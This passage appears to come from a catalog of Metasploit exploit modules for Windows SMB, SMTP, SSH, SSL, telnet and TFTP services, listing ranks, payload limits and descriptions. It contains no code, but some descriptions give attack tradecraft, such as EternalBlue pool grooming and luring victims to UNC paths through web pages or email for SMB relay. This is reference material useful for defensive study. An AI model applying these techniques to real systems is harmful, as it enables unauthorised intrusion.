  to force the service to load a DLL from a SMB share.

End Exploit Number 2374

Begin Exploit Number 2375
       Name: MS03-049 Microsoft Workstation Service 
NetAddAlternateComputerName Overflow
     Module: exploit/windows/smb/ms03_049_netapi
   Platform: Windows
       Arch: 
```

```
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2003-11-11

Payload information:
  Space: 1000
  Avoid: 45 characters

Description:
  This module exploits a stack buffer overflow in the NetApi32
NetAddAlternateComputerName
  function using the Workstation service in Windows XP.

End Exploit Number 2375

Begin Exploit Number 2376
       Name: MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow
     Module: exploit/windows/smb/ms04_007_killbill
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Low
  Disclosed: 2004-02-10

Payload information:
  Space: 1024

Description:
  This is an exploit for a previously undisclosed
  vulnerability in the bit string decoding code in the
  Microsoft ASN.1 library. This vulnerability is not related
  to the bit string vulnerability described in eEye advisory
  AD20040210-2. Both vulnerabilities were fixed in the
  MS04-007 patch.  Windows 2000 SP4 Rollup 1 also patches this
  vulnerability.

  You are only allowed one attempt with this vulnerability. If
  the payload fails to execute, the LSASS system service will
  crash and the target system will automatically reboot itself
  in 60 seconds. If the payload succeeds, the system will no
  longer be able to process authentication requests, denying
  all attempts to login through SMB or at the console. A
  reboot is required to restore proper functioning of an
  exploited system.

  This exploit has been successfully tested with the win32/*/
reverse_tcp
  payloads, however a few problems were encountered when using the
  equivalent bind payloads. Your mileage may vary.

End Exploit Number 2376

Begin Exploit Number 2377
       Name: MS04-011 Microsoft LSASS Service
DsRolerUpgradeDownlevelServer Overflow
     Module: exploit/windows/smb/ms04_011_lsass
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2004-04-13

Payload information:
  Space: 1024
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in the LSASS service,
this vulnerability
  was originally found by eEye. When re-exploiting a Windows XP
system, you will need
  need to run this module twice. DCERPC request fragmentation can be
performed by setting
  'FragSize' parameter.

End Exploit Number 2377

Begin Exploit Number 2378
       Name: MS04-031 Microsoft NetDDE Service Overflow
     Module: exploit/windows/smb/ms04_031_netdde
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Good
  Disclosed: 2004-10-12

Payload information:
  Space: 1000
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in the NetDDE service,
which is the
  precursor to the DCOM interface.  This exploit effects only
operating systems
  released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite
```

```
Microsoft's claim
  that this vulnerability can be exploited without authentication, the
NDDEAPI
  pipe is only accessible after successful authentication.

End Exploit Number 2378

Begin Exploit Number 2379
       Name: MS05-039 Microsoft Plug and Play Service Overflow
     Module: exploit/windows/smb/ms05_039_pnp
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2005-08-09

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the Windows Plug
  and Play service. This vulnerability can be exploited on
  Windows 2000 without a valid user account.

  NOTE: Since the PnP service runs inside the service.exe process, a
failed
  exploit attempt will cause the system to automatically reboot.

End Exploit Number 2379

Begin Exploit Number 2380
       Name: MS06-025 Microsoft RRAS Service RASMAN Registry Overflow
     Module: exploit/windows/smb/ms06_025_rasmans_reg
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Good
  Disclosed: 2006-06-13

Payload information:
  Space: 512
  Avoid: 6 characters

Description:
  This module exploits a registry-based stack buffer overflow in the
Windows Routing
  and Remote Access Service. Since the service is hosted inside
```

```
svchost.exe,
  a failed exploit attempt can cause other system services to fail as
well.
  A valid username and password is required to exploit this flaw on
Windows 2000.
  When attacking XP SP1, the SMBPIPE option needs to be set to
'SRVSVC'.
  Exploiting this flaw involves two distinct steps - creating the
registry key
  and then triggering an overwrite based on a read of this key. Once
the key is
  created, it cannot be recreated. This means that for any given
system, you
  only get one chance to exploit this flaw. Picking the wrong target
will require
  a manual removal of the following registry key before you can try
again:
  HKEY_USERS\.DEFAULT\Software\Microsoft\RAS Phonebook

End Exploit Number 2380

Begin Exploit Number 2381
       Name: MS06-025 Microsoft RRAS Service Overflow
     Module: exploit/windows/smb/ms06_025_rras
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-06-13

Payload information:
  Space: 1104
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the Windows Routing
and Remote
  Access Service. Since the service is hosted inside svchost.exe, a
failed
  exploit attempt can cause other system services to fail as well. A
valid
  username and password is required to exploit this flaw on Windows
2000.
  When attacking XP SP1, the SMBPIPE option needs to be set to
'SRVSVC'.

End Exploit Number 2381

Begin Exploit Number 2382
```

```
       Name: MS06-040 Microsoft Server Service NetpwPathCanonicalize
Overflow
     Module: exploit/windows/smb/ms06_040_netapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-08-08

Payload information:
  Space: 370
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in the NetApi32
CanonicalizePathName() function
  using the NetpwPathCanonicalize RPC call in the Server Service. It
is likely that
  other RPC calls could be used to exploit this service. This exploit
will result in
  a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed
exploit attempt
  will likely result in a complete reboot on Windows 2000 and the
termination of all
  SMB-related services on Windows XP. The default target for this
exploit should succeed
  on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and
Windows 2003 SP0.

End Exploit Number 2382

Begin Exploit Number 2383
       Name: MS06-066 Microsoft Services nwapi32.dll Module Exploit
     Module: exploit/windows/smb/ms06_066_nwapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-11-14

Payload information:
  Space: 296
  Avoid: 0 characters

Description:
  This module exploits a stack buffer overflow in the svchost service
when the netware
  client service is running. This specific vulnerability is in the
```

```
nwapi32.dll module.

End Exploit Number 2383

Begin Exploit Number 2384
       Name: MS06-066 Microsoft Services nwwks.dll Module Exploit
     Module: exploit/windows/smb/ms06_066_nwwks
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-11-14

Payload information:
  Space: 1000
  Avoid: 0 characters

Description:
  This module exploits a stack buffer overflow in the svchost service, 
when the netware
  client service is running. This specific vulnerability is in the 
nwapi32.dll module.

End Exploit Number 2384

Begin Exploit Number 2385
       Name: MS06-070 Microsoft Workstation Service 
NetpManageIPCConnect Overflow
     Module: exploit/windows/smb/ms06_070_wkssvc
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2006-11-14

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the NetApi32 
NetpManageIPCConnect
  function using the Workstation service in Windows 2000 SP4 and 
Windows XP SP2.

  In order to exploit this vulnerability, you must specify the name of 
a
  valid Windows DOMAIN. It may be possible to satisfy this condition
```

```
by using
  a custom DNS and LDAP setup, however that method is not covered
here.

  Although Windows XP SP2 is vulnerable, Microsoft reports that
Administrator
  credentials are required to reach the vulnerable code. Windows XP
SP1 only
  requires valid user credentials. Also, testing shows that a machine
already
  joined to a domain is not exploitable.

End Exploit Number 2385

Begin Exploit Number 2386
       Name: MS07-029 Microsoft DNS RPC Service extractQuotedChar()
Overflow (SMB)
     Module: exploit/windows/smb/ms07_029_msdns_zonename
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2007-04-12

Payload information:
  Space: 500
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the RPC interface
  of the Microsoft DNS service. The vulnerability is triggered
  when a long zone name parameter is supplied that contains
  escaped octal strings. This module is capable of bypassing NX/DEP
  protection on Windows 2003 SP1/SP2. This module exploits the
  RPC service using the \DNSSERVER pipe available via SMB. This
  pipe requires a valid user account to access, so the SMBUSER
  and SMBPASS options must be specified.

End Exploit Number 2386

Begin Exploit Number 2387
       Name: MS08-067 Microsoft Server Service Relative Path Stack
Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization
code of
  NetAPI32.dll through the Server Service. This module is capable of
bypassing
  NX on some operating systems and service packs. The correct target
must be
  used to prevent the Server Service (along with a dozen others in the
same
  process) from crashing. Windows XP targets seem to handle multiple
successful
  exploitation events, but 2003 targets will often crash or hang on
subsequent
  attempts. This is just the first version of this module, full
support for
  NX bypass on 2003, along with other platforms, is still in
development.

End Exploit Number 2387

Begin Exploit Number 2388
       Name: MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID
Function Table Dereference
     Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-09-07

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds function table dereference in
the SMB
  request validation code of the SRV2.SYS driver included with Windows
Vista, Windows 7
  release candidates (not RTM), and Windows 2008 Server prior to R2.
Windows Vista
  without SP1 does not seem affected by this flaw.

End Exploit Number 2388
```

```
Begin Exploit Number 2389
       Name: Microsoft Windows Shell LNK Code Execution
     Module: exploit/windows/smb/ms10_046_shortcut_icon_dllloader
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-07-16

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in the handling of Windows
  Shortcut files (.LNK) that contain an icon resource pointing to a
  malicious DLL. This creates an SMB resource to provide the payload
  inside a DLL, and generates a LNK file which must be sent to the
  target.

End Exploit Number 2389

Begin Exploit Number 2390
       Name: MS10-061 Microsoft Print Spooler Service Impersonation 
Vulnerability
     Module: exploit/windows/smb/ms10_061_spoolss
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-09-14

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits the RPC service impersonation vulnerability 
detailed in
  Microsoft Bulletin MS10-061. By making a specific DCE RPC request to 
the
  StartDocPrinter procedure, an attacker can impersonate the Printer 
Spooler service
  to create a file. The working directory at the time is %SystemRoot%
\system32.
  An attacker can specify any file name, including directory traversal 
or full paths.
  By sending WritePrinter requests, an attacker can fully control the
```

```
content of
  the created file.

  In order to gain code execution, this module writes to a directory
used by Windows
  Management Instrumentation (WMI) to deploy applications. This
directory (Wbem\Mof)
  is periodically scanned and any new .mof files are processed
automatically. This is
  the same technique employed by the Stuxnet code found in the wild.

End Exploit Number 2390

Begin Exploit Number 2391
       Name: Microsoft Windows Shell LNK Code Execution
     Module: exploit/windows/smb/ms15_020_shortcut_icon_dllloader
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-03-10

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in the MS10-046 patch to abuse
(again) the handling
  of Windows Shortcut files (.LNK) that contain an icon resource
pointing to a malicious
  DLL. This creates an SMB resource to provide the payload and the
trigger, and generates a
  LNK file which must be sent to the target. This module has been
tested successfully on
  Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32
bits) with MS14-027
  installed.

End Exploit Number 2391

Begin Exploit Number 2392
       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool
Corruption
     Module: exploit/windows/smb/ms17_010_eternalblue
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Payload information:
  Space: 2000

Description:
  This module is a port of the Equation Group ETERNALBLUE exploit,
part of
  the FuzzBunch toolkit released by Shadow Brokers.

  There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt.
The size
  is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error
where a
  DWORD is subtracted into a WORD. The kernel pool is groomed so that
overflow
  is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is
later
  completed in srvnet!SrvNetWskReceiveComplete.

  This exploit, like the original may not trigger 100% of the time,
and should be
  run continuously until triggered. It seems like the pool will get
hot streaks
  and need a cool down period before the shells rain in again.

  The module will attempt to use Anonymous login, by default, to
authenticate to perform the
  exploit. If the user supplies credentials in the SMBUser, SMBPass,
and SMBDomain options it will use
  those instead.

  On some systems, this module may cause system instability and
crashes, such as a BSOD or
  a reboot. This may be more likely with some payloads.

End Exploit Number 2392

Begin Exploit Number 2393
       Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion
SMB Remote Windows Code Execution
     Module: exploit/windows/smb/ms17_010_psexec
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-03-14

Payload information:
  Space: 3072

Description:
  This module will exploit SMB with vulnerabilities in MS17-010 to
achieve a write-what-where
  primitive. This will then be used to overwrite the connection
session information with as an
  Administrator session. From there, the normal psexec payload code
execution is done.

  Exploits a type confusion between Transaction and WriteAndX requests
and a race condition in
  Transaction requests, as seen in the EternalRomance,
EternalChampion, and EternalSynergy
  exploits. This exploit chain is more reliable than the EternalBlue
exploit, but requires a
  named pipe.

End Exploit Number 2393

Begin Exploit Number 2394
       Name: Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer
Overflow
     Module: exploit/windows/smb/netidentity_xtierrpcpipe
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-04-06

Payload information:
  Space: 550
  Avoid: 12 characters

Description:
  This module exploits a stack buffer overflow in Novell's NetIdentity
Agent. When sending
  a specially crafted string to the 'XTIERRPCPIPE' named pipe, an
attacker may be
  able to execute arbitrary code. The success of this module is much
greater once the
  service has been restarted.

End Exploit Number 2394

Begin Exploit Number 2395
       Name: Microsoft Windows Authenticated User Code Execution
     Module: exploit/windows/smb/psexec
   Platform: Windows
```

```
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 1999-01-01

Payload information:
  Space: 3072

Description:
  This module uses a valid administrator username and password (or
  password hash) to execute an arbitrary payload. This module is 
similar
  to the "psexec" utility provided by SysInternals. This module is now 
able
  to clean up after itself. The service created by this tool uses a 
randomly
  chosen name and description.

End Exploit Number 2395

Begin Exploit Number 2396
       Name: SMB Delivery
     Module: exploit/windows/smb/smb_delivery
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-07-26

Payload information:
  Space: 2048

Description:
  This module serves payloads via an SMB server and provides commands 
to retrieve
  and execute the generated payloads. Currently supports DLLs and 
Powershell.

End Exploit Number 2396

Begin Exploit Number 2397
       Name: SMB DOUBLEPULSAR Remote Code Execution
     Module: exploit/windows/smb/smb_doublepulsar_rce
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-04-14

Payload information:
  Space: 3316

Description:
  This module executes a Metasploit payload against the Equation 
Group's
  DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.

  While this module primarily performs code execution against the 
implant,
  the "Neutralize implant" target allows you to disable the implant.

End Exploit Number 2397

Begin Exploit Number 2398
       Name: MS08-068 Microsoft Windows SMB Relay Code Execution
     Module: exploit/windows/smb/smb_relay
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2001-03-31

Payload information:
  Space: 2048

Description:
  This module will relay SMB authentication requests to another
  host, gaining access to an authenticated SMB session if successful.
  If the connecting user is an administrator and network logins are
  allowed to the target machine, this module will execute an arbitrary
  payload. To exploit this, the target system   must try to 
authenticate
  to this module. The easiest way to force a SMB authentication 
attempt
  is by embedding a UNC path (\SERVER\SHARE) into a web page or
  email message. When the victim views the web page or email, their
  system will automatically connect to the server specified in the UNC
  share (the IP address of the system running this module) and attempt
  to authenticate.  Unfortunately, this
  module is not able to clean up after itself. The service and payload
  file listed in the output will need to be manually removed after 
access
  has been gained. The service created by this tool uses a randomly 
chosen
  name and description, so the services list can become cluttered 
after
```

```
  repeated exploitation.

  The SMB authentication relay attack was first reported by Sir Dystic
on
  March 31st, 2001 at @lanta.con in Atlanta, Georgia.

  On November 11th 2008 Microsoft released bulletin MS08-068. This
bulletin
  includes a patch which prevents the relaying of challenge keys back
to
  the host which issued them, preventing this exploit from working in
  the default configuration. It is still possible to set the SMBHOST
  parameter to a third-party host that the victim is authorized to
access,
  but the "reflection" attack has been effectively broken.

  As of Feb 2022 - this module does not support SMB 1.

End Exploit Number 2398

Begin Exploit Number 2399
       Name: Microsoft Windows RRAS Service MIBEntryGet Overflow
     Module: exploit/windows/smb/smb_rras_erraticgopher
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-06-13

Payload information:
  Space: 1065
  Avoid: 1 characters

Description:
  This module exploits an overflow in the Windows Routing and Remote
  Access Service (RRAS) to execute code as SYSTEM.

  The RRAS DCERPC endpoint is accessible to unauthenticated users via
  SMBv1 browser named pipe on Windows Server 2003 and Windows XP
hosts;
  however, this module targets Windows Server 2003 only.

  Since the service is hosted inside svchost.exe, a failed exploit
  attempt can cause other system services to fail as well.

  The module has been successfully tested on:

  Windows Server 2003 SP0 (x86);
  Windows Server 2003 SP1 (x86);
  Windows Server 2003 SP2 (x86); and
  Windows Server 2003 R2 SP2 (x86).

End Exploit Number 2399

Begin Exploit Number 2400
       Name: Microsoft Windows SMB Direct Session Takeover
     Module: exploit/windows/smb/smb_shadow
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2021-02-16

Payload information:

Description:
  This module will intercept direct SMB authentication requests to
  another host, gaining access to an authenticated SMB session if
  successful. If the connecting user is an administrator and network
  logins are allowed to the target machine, this module will execute
an
  arbitrary payload. To exploit this, the target system must try to
  autheticate to another host on the local area network.

  SMB Direct Session takeover is a combination of previous attacks.

  This module is dependent on an external ARP spoofer. The builtin ARP
  spoofer was not providing sufficient host discovery. Bettercap
v1.6.2
  was used during the development of this module.

  The original SMB relay attack was first reported by Sir Dystic on
March
  31st, 2001 at @lanta.con in Atlanta, Georgia.

End Exploit Number 2400

Begin Exploit Number 2401
       Name: Timbuktu PlughNTCommand Named Pipe Buffer Overflow
     Module: exploit/windows/smb/timbuktu_plughntcommand_bof
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-06-25

Payload information:
  Space: 2048

Description:
  This module exploits a stack based buffer overflow in Timbuktu Pro
version <= 8.6.6
  in a pretty novel way.

  This exploit requires two connections. The first connection is used
to leak stack data
  using the buffer overflow to overwrite the nNumberOfBytesToWrite
argument. By supplying
  a large value for this argument it is possible to cause Timbuktu to
reply to the initial
  request with leaked stack data. Using this data allows for reliable
exploitation of the
  buffer overflow vulnerability.

  Props to Infamous41d for helping in finding this exploitation path.

  The second connection utilizes the data from the data leak to
accurately exploit
  the stack based buffer overflow vulnerability.

  TODO:
  hdm suggested using meterpreter's migration capability and
restarting the process
  for multishot exploitation.

End Exploit Number 2401

Begin Exploit Number 2402
       Name: WebExec Authenticated User Code Execution
     Module: exploit/windows/smb/webexec
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-10-24

Payload information:
  Space: 3072

Description:
  This module uses a valid username and password of any level (or
  password hash) to execute an arbitrary payload. This module is
similar
  to the "psexec" module, except allows any non-guest account by
default.
```

```
End Exploit Number 2402

Begin Exploit Number 2403
       Name: TABS MailCarrier v2.51 SMTP EHLO Overflow
     Module: exploit/windows/smtp/mailcarrier_smtp_ehlo
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2004-10-26

Payload information:
  Avoid: 4 characters

Description:
  This module exploits the MailCarrier v2.51 suite SMTP service.
  The stack is overwritten when sending an overly long EHLO command.

End Exploit Number 2403

Begin Exploit Number 2404
       Name: Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow
     Module: exploit/windows/smtp/mercury_cram_md5
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-08-18

Payload information:
  Space: 600
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Mercury Mail 
Transport System 4.51.
  By sending a specially crafted argument to the AUTH CRAM-MD5 
command, an attacker
  may be able to execute arbitrary code.

End Exploit Number 2404

Begin Exploit Number 2405
       Name: MS03-046 Exchange 2000 XEXCH50 Heap Overflow
     Module: exploit/windows/smtp/ms03_046_exchange2000_xexch50
   Platform: Windows
       Arch: 
 Privileged: Yes
```

```
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2003-10-15

Payload information:
  Space: 1024
  Avoid: 8 characters

Description:
  This is an exploit for the Exchange 2000 heap overflow. Due
  to the nature of the vulnerability, this exploit is not very
  reliable. This module has been tested against Exchange 2000
  SP0 and SP3 running a Windows 2000 system patched to SP4. It
  normally takes between one and 100 connection attempts to
  successfully obtain a shell. This exploit is *very* unreliable.

End Exploit Number 2405

Begin Exploit Number 2406
       Name: NJStar Communicator 3.00 MiniSMTP Buffer Overflow
     Module: exploit/windows/smtp/njstar_smtp_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-10-31

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow vulnerability in NJStar
Communicator
  Version 3.00 MiniSMTP server.  The MiniSMTP application can be seen
in multiple
  NJStar products, and will continue to run in the background even if
the
  software is already shutdown.  According to the vendor's
testimonials,
  NJStar software is also used by well known companies such as
Siemens, NEC,
  Google, Yahoo, eBay; government agencies such as the FBI, Department
of
  Justice (HK); as well as a long list of universities such as Yale,
Harvard,
  University of Tokyo, etc.

End Exploit Number 2406
```

```
Begin Exploit Number 2407
       Name: SysGauge SMTP Validation Buffer Overflow
     Module: exploit/windows/smtp/sysgauge_client_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-02-28

Payload information:
  Space: 306
  Avoid: 4 characters

Description:
  This module will setup an SMTP server expecting a connection from 
SysGauge 1.5.18
  via its SMTP server validation. The module sends a malicious 
response along in the
  220 service ready response and exploits the client, resulting in an 
unprivileged shell.

End Exploit Number 2407

Begin Exploit Number 2408
       Name: SoftiaCom WMailserver 1.0 Buffer Overflow
     Module: exploit/windows/smtp/wmailserver
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-07-11

Payload information:
  Space: 600
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in SoftiaCom 
WMailserver 1.0
  (SMTP) via a SEH frame overwrite.

End Exploit Number 2408

Begin Exploit Number 2409
       Name: YPOPS 0.6 Buffer Overflow
     Module: exploit/windows/smtp/ypops_overflow1
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-09-27

Payload information:
  Space: 1200
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in the YPOPS POP3
  service.

  This is a classic stack buffer overflow for YPOPS version 0.6.
  Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
  jmp ebx opcode in ws_32.dll

End Exploit Number 2409

Begin Exploit Number 2410
       Name: FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer
Overflow
     Module: exploit/windows/ssh/freeftpd_key_exchange
   Platform: Windows
       Arch:
 Privileged: Yes
    License: BSD License
       Rank: Average
  Disclosed: 2006-05-12

Payload information:
  Space: 500
  Avoid: 1 characters

Description:
  This module exploits a simple stack buffer overflow in FreeFTPd
1.0.10
  This flaw is due to a buffer overflow error when handling a
specially
  crafted key exchange algorithm string received from an SSH client.
  This module is based on MC's freesshd_key_exchange exploit.

End Exploit Number 2410

Begin Exploit Number 2411
       Name: Freesshd Authentication Bypass
     Module: exploit/windows/ssh/freesshd_authbypass
   Platform: Windows
       Arch:
 Privileged: Yes
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-08-11

Payload information:

Description:
  This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to
bypass
  authentication. You just need the username (which defaults to root).
The exploit
  has been tested with both password and public key authentication.

End Exploit Number 2411

Begin Exploit Number 2412
       Name: FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer
Overflow
     Module: exploit/windows/ssh/freesshd_key_exchange
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-05-12

Payload information:
  Space: 500
  Avoid: 1 characters

Description:
  This module exploits a simple stack buffer overflow in FreeSSHd
1.0.9.
  This flaw is due to a buffer overflow error when handling a
specially
  crafted key exchange algorithm string received from an SSH client.

End Exploit Number 2412

Begin Exploit Number 2413
       Name: PuTTY Buffer Overflow
     Module: exploit/windows/ssh/putty_msg_debug
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2002-12-16

Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in the PuTTY SSH client that
is
  triggered through a validation error in SSH.c. This vulnerability
  affects versions 0.53 and earlier.

End Exploit Number 2413

Begin Exploit Number 2414
       Name: SecureCRT SSH1 Buffer Overflow
     Module: exploit/windows/ssh/securecrt_ssh1
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2002-07-23

Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in SecureCRT <= 4.0
  Beta 2. By sending a vulnerable client an overly long
  SSH1 protocol identifier string, it is possible to execute
  arbitrary code.

  This module has only been tested on SecureCRT 3.4.4.

End Exploit Number 2414

Begin Exploit Number 2415
       Name: Sysax 5.53 SSH Username Buffer Overflow
     Module: exploit/windows/ssh/sysax_ssh_username
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-02-27

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a vulnerability found in Sysax's SSH service.
By
  supplying a long username, the SSH server will copy that data on the
stack
  without proper bounds checking, therefore allowing remote code
execution
  under the context of the user.  Please note that previous versions
  (before 5.53) are also affected by this bug.

End Exploit Number 2415

Begin Exploit Number 2416
       Name: MS04-011 Microsoft Private Communications Transport
Overflow
     Module: exploit/windows/ssl/ms04_011_pct
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-04-13

Payload information:
  Space: 1800
  Avoid: 0 characters

Description:
  This module exploits a buffer overflow in the Microsoft
  Windows SSL PCT protocol stack. This code is based on Johnny
  Cyberpunk's THC release and has been tested against Windows
  2000 and Windows XP. To use this module, specify the remote
  port of any SSL service, or the port and protocol of an
  application that uses SSL. The only application protocol
  supported at this time is SMTP. You only have one chance to
  select the correct target, if you are attacking IIS, you may
  want to try one of the other exploits first (WebDAV). If
  WebDAV does not work, this more than likely means that this
  is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS
  5.1). Using the wrong target may not result in an immediate
  crash of the remote system.

End Exploit Number 2416

Begin Exploit Number 2417
       Name: GAMSoft TelSrv 1.5 Username Buffer Overflow
     Module: exploit/windows/telnet/gamsoft_telsrv_username
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Average
  Disclosed: 2000-07-17

Payload information:
  Space: 1000
  Avoid: 2 characters

Description:
  This module exploits a username sprintf stack buffer overflow in
GAMSoft TelSrv 1.5.
  Other versions may also be affected. The service terminates after
exploitation,
  so you only get one chance!

End Exploit Number 2417

Begin Exploit Number 2418
       Name: GoodTech Telnet Server Buffer Overflow
     Module: exploit/windows/telnet/goodtech_telnet
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-03-15

Payload information:
  Space: 400
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in GoodTech Systems
Telnet Server
  versions prior to 5.0.7. By sending an overly long string, an
attacker can
  overwrite the buffer and control program execution.

End Exploit Number 2418

Begin Exploit Number 2419
       Name: Allied Telesyn TFTP Server 1.9 Long Filename Overflow
     Module: exploit/windows/tftp/attftp_long_filename
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-11-27

Payload information:
  Space: 210
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in AT-TFTP v1.9, by
sending a
  request (get/write) for an overly long file name.

End Exploit Number 2419

Begin Exploit Number 2420
       Name: Distinct TFTP 3.10 Writable Directory Traversal Execution
     Module: exploit/windows/tftp/distinct_tftp_traversal
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
